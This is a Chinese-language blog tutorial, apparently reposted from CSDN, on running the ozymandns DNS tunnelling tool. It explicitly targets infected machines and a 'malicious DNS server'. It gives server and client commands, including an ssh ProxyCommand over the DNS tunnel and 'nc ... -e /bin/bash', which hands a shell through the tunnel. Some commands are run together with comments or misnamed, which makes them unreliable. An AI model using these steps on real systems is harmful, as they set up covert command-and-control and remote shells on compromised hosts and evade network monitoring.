本文共 1628 字，大约阅读时间需要 5 分钟。

一、入坑必读

1、简介

ozymandns 较早的一个DNS隧道工具，它基于perl开发，使用较复杂。

最初版本只有0.1，有各个爱好者的修改版，如via1，via2，via3等。它的主要功能就是结合 ssh 来做通道，因此这也是它的一大坑点，下面会讲到。

数据请求用base32编码，响应使用base64编码。

使用热度： ★★☆☆☆

2、专业词

• Type：DNS解析的类型，常见的有：A、CNAME、MX、TXT……
• 直连模式：客户端直接向指定IP的恶意DNS服务器发起DNS解析请求
• 中继模式：像我们平时上网一样，DNS解析先经过互联网的迭代解析，最后指向我们的恶意DNS服务器。相比直连，速度较慢，但是更安全。

3、放哪儿

4、支持Type

• TXT

5、兼容说明

• 由于版本较老，服务端、客户端不太支持Windows，推荐在Linux下跑。

  Windows下运行可能提示：Your vendor has not defined Fcntl macro F_GETFL。

  原因是Windows对F_GETFL函数不支持，当然可以修改相关代码以兼容Windows，详见：https://github.com/kthakore/frozen-bubble/commit/735dd2307455e32c69827e013992c2d022cb7347

  并且Windows运行，还需要cgywin工具。博主在安装后，仍然提示缺少cgywin1.dll，没搞成功。

• kali系统内置Perl环境，但是运行可能还是会报缺少一些依赖：

  • Net::DNS
  • MIME::Base32

  安装方法：

  解压ppm文件（如Net::DNS），将里面的lib覆盖到perl安装目录下的lib（注意kali的perl默认在usr/lib/x86_64-linux-gnu/perl5）

  这些Perl依赖，以及服务端、客户端等所有工具，下面的下载地址已打包提供！

  当然以上依赖也可以到官网下载：

6、全套下载地址

• CSDN：

二、原理简述

ozymandns分为两部分：客户端和服务器。

客户端：

在受感染的计算机上运行。

运行模式如大多DNS隧道工具一样：Dnscat2客户端->DNS服务商->Dnscat2服务端。

如果您没有购买域名，还可以在UDP/53上使用直连。

服务端：

Perl语言编写，在服务器上运行。

当它接收其中一个域名的流量时，它会尝试建立DNS连接。。

三、安装使用

1、安装

下载下来即可！

2、使用

服务端：

1、启动服务：

# 该ip为查询该域名时返回的ip，不重要perl nomde.pl -i 11.11.11.11 
     
    # 服务端还可以开启nc来监听本地端口，后续被控端可使用nc，通过dns隧道来连接nc -l -p 1234 -v
   

客户端：

1、连接：

# 客户端连接的域名，必须有sshdns前缀，否则连不上，我就在这里踩了个大坑ssh -C -o ProxyCommand="./droute.pl sshdns.abc.com -r 
   
    " -L 7777:127.0.0.1:1234 root@127.0.0.1# nc去连接，注：其实上面操作就能得到一个ssh窗口了，一般就不需要再通过nc去连了。nc 127.0.0.1 7777 -e /bin/bash -v
   

其中：

• -r 可选，指定远程DNS服务器地址（直连模式），如需使用中继模式，则可不填
• -L 表示把本地的7777与远端的1234端口，基于DNS通道，再建立一个SSH连接通道
• -C 开启压缩，这样传输更快
• SSH连接时，输入的用户名，如果连接成功后，会提示输入登录密码。

  这是使用 ozymandns 来做ssh通讯最大的坑点。对于普通用户来说，倒没什么，对于黑客们来说，还得需要知道其密码！

转载地址：https://localhost01.blog.csdn.net/article/details/86646512 如侵犯您的版权，请留言回复原文章的地址，我们会给您删除此文章，给您带来不便请您谅解！